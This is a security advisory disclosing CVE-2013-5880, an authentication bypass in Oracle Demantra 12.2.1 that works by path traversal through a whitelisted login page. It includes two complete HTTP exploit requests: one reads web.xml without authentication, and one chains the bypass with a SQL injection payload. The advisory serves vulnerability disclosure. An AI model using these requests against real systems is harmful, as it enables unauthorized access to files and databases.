Oracle Demantra 12.2.1 Authentication Bypass

`Vulnerability title: Authentication Bypass in Oracle Demantra  
CVE: CVE-2013-5880  
Vendor: Oracle  
Product: Demantra  
Affected version: 12.2.1  
Fixed version: 12.2.3  
Reported by: Oliver Gruskovnjak  
  
Details:  
  
The authentication filter in Oracle Demantra is broken by design.  
  
For example the page:  
  
/demantra/common/loginCheck.jsp  
  
Is accessible by an unauthenticated user and is therefore listed in the  
whitelisted URLs list. It is now possible to use this whitelisted URL to  
access restricted URLs.  
  
Exploit:  
  
Sample Request:  
  
POST /demantra/common/loginCheck.jsp/../../GraphServlet HTTP/1.1  
Host: target.com:8080  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:22.0) Gecko/20100101 Firefox/22.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
DNT: 1  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 46  
  
filename=C:/Program Files (x86)/Oracle Demantra Spectrum/Collaborator/demantra/WEB-INF/web.xml  
  
This attack works with other vulnerabilities reported like the SQL injection for example by using the following request:  
  
POST /demantra/common/loginCheck.jsp/../../portal/editExecDefinition.jsp HTTP/1.1  
Host: target.com:8080  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:22.0) Gecko/20100101 Firefox/22.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
DNT: 1  
Referer: http://192.168.14.171:8080/demantra/portal/editExecDefinition.jsp?menuBarId=2&menuGroupId=4&menuItemId=10&tkn=919872817530076  
Cookie: ORA_EBS_DEMANTRA_LOGIN_LANGUAGE=US; JSESSIONID=6741133838FDEC5D65258F72A4E4EB87  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 388  
  
done=done&menuBarId=2&menuGroupId=4&tkn=919872817530076&menuItemId=10&menuAction=edit&order=0&command=http%3A%2F%2Fwww.oracle.com%2Fdemantra%2Findex.htm'&title=Demantra+Web+Site&description=Demantra+Web+Site&type=3&fileInput=&linkInput=http%3A%2F%2Fwww.oracle.com%2Fdemantra%2Findex.htm%27&desktopCommand=%23DEMANTRA.MODELER%23&param=  
  
  
  
Further details at:  
https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5880/  
  
  
Copyright:  
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redistribution of this information. It is not to be edited or altered in  
any way without the express written consent of Portcullis Computer  
Security Limited.  
  
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`